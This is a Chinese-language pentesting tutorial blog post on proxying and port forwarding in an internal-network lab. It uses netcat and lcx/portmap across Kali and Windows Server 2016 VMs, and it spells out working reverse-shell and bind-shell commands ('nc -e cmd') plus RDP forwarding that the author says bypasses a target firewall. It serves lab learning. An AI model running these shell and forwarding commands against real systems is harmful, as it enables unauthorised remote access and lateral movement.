前言
web看腻了,我们就看一下内网的内容吧,内网渗透中有一个很重要的点,就是代理转发,怎么一层一层从边界主机一步一步访问到更深层的内网,这是每个渗透人员必须掌握的事情。
准备
这里我们使用四台虚拟机,笔者这里用的是kali,windows 7,windows server 2016,还有ubuntu。
这里用到三个办法,分别是nc,lcx,frp。
操作
在此之前,我们首先要明白两个概念,正向代理与方向代理,这里我将以nc协助来将明白这两个概念。
nc
反向代理
什么叫做反向代理呢,这里我用kali与win2016来讲解,我现在想把win2016的shell弹到kali上,现在我们面临两种选择,一是我们主动使用kali来访问win2016以此来吧win2016的shell获取,二是可以让我们的win2016主动访问我们的kali来获取win2016的shell(这里我们的kali为攻击者,win2016为受害者)。反向代理就是让win2016来访问kali来获取shell,就是上面我们提到的第二种方法。
这里我们用nc来演示。
输入以下命令
nc -lvvp 9999
这里我们现在kali上监听我们的9999端口
这条命令在做什么(逐项解释)
-
nc
:netcat,常见的“网络瑞士军刀”小工具,可以读写网络连接的标准入/出。 -
-l
:listen,让 netcat 在本机监听(等待对端来连)。 -
-v
:verbose(详细模式),显示更多连接信息。命令里是-vv
,表示更高的冗长输出(比一个-v
更详细)。 -
-p 9999
:指定本地端口为9999
(-p
表示 port)。 -
9999
:也可以直接作为端口参数(有的 netcat 版本不需要-p
),总之目标是 监听 TCP 端口 9999
然后转到我们的win2016
输入以下命令
nc.exe -e cmd kali的ip与端口
我这里kali的ip为192.168.43.74 监听端口为9999,所以我输入的命令为nc.exe -e cmd 192.168.43.74 9999
然后回车,观察我们的kali
发现win2016的shell成功上线。
正向代理
我们依然用kali来接受shell只不过变成了kali主动访问win2016,也就是在win2016上开启监听。
我们在win2016输入以下命令
nc.exe -l -p 6666 -e cmd.exe
代表我们在win2016上开启监听6666端口。
接下来我们用kali来主动访问我们的win2016从而拿到shell。我们在kali上输入以下命令
nc -nvv 192.168.43.179 6666//这里输入自己的winIP,和上述内容一样
结果我们成功获取到shell
这就是反向代理和正向代理。
lcx
这里我们涉及端口转发
端口转发
什么是端口转发呢,它其实包括远程端口转发和本地端口转发,两者区别仅仅是转发本机的两个端口,还是和其他主机的端口进行转发,原理其实是一样的,就是把一个端口的流量与服务转发到另一个端口,你用主机访问这两个端口所访问到的服务是相同的。接下来我将实操展示。
本地端口转发
我们把portmap(端口转发工具,没有的话可以私信问我要)
我们在kali中输入以下命令
./portmap -m 2 -p1 1111 -p2 2222
意思就是把我们本机的2222端口的流量转发到本机1111上。
然后输入netstat -antp可以看到我们的1111端口和2222端口已经开启监听。
远程端口转发
这时候我们的win2016也要派上用场了
我们确保我们的win2016开启RDP服务默认端口为3389,我们用远程桌面来测试一下我们的两个端口是否成功转发。
输入netstat -ano就可以看到我们开放的端口情况了。
然后我们在kali中输入以下命令
./portmap -m 1 -p1 666 -h2 192.168.43.179(这里输入自己win2016ip) -p2 3389
看见上图即为连接成功。
然后在kali中远程连接一下我们的win2016,我们以前连接win2016是不是得连接它的IP和3389端口,但是因为我们现在已经将win2016的3389的流量转发到kali的127.0.0.1的666端口,所以我们直接访问127.0.0.1:666就可以了,出现一下结果表明流量转发成功。
在举一个例子(反向连接)
我们在win2016输入以下命令
lcx.exe -slave 192.168.43.74 6666 192.168.43.179 3389
然后win2016就会一直循环发两条命令
然后你在kali中输入以下命令
./portmap -m 1 -p1 3333 -p2 6666
其实这就是个本地端口转发,当你输入这条命令后,发现win2016的那两条命令不再循环,说明成功。而且这个是反向连接。
我再举个正向连接的例子。
我们再win2016输入以下命令
lcx.exe -tran 81 127.0.0.1 3389
这个命令的意思是我们把win2016的3389服务转发到win2016的81端口上,然后我们用kali直接访问win2016的81端口就可以远程连接了。
这样在对方有防火墙不让我们访问3389,我们就可以绕过它的防火墙直接访问81端口进而访问3389的服务了
写在后面
原本准备代理链也在这篇文章讲来着,写不动了,就明天专门写一篇文章吧。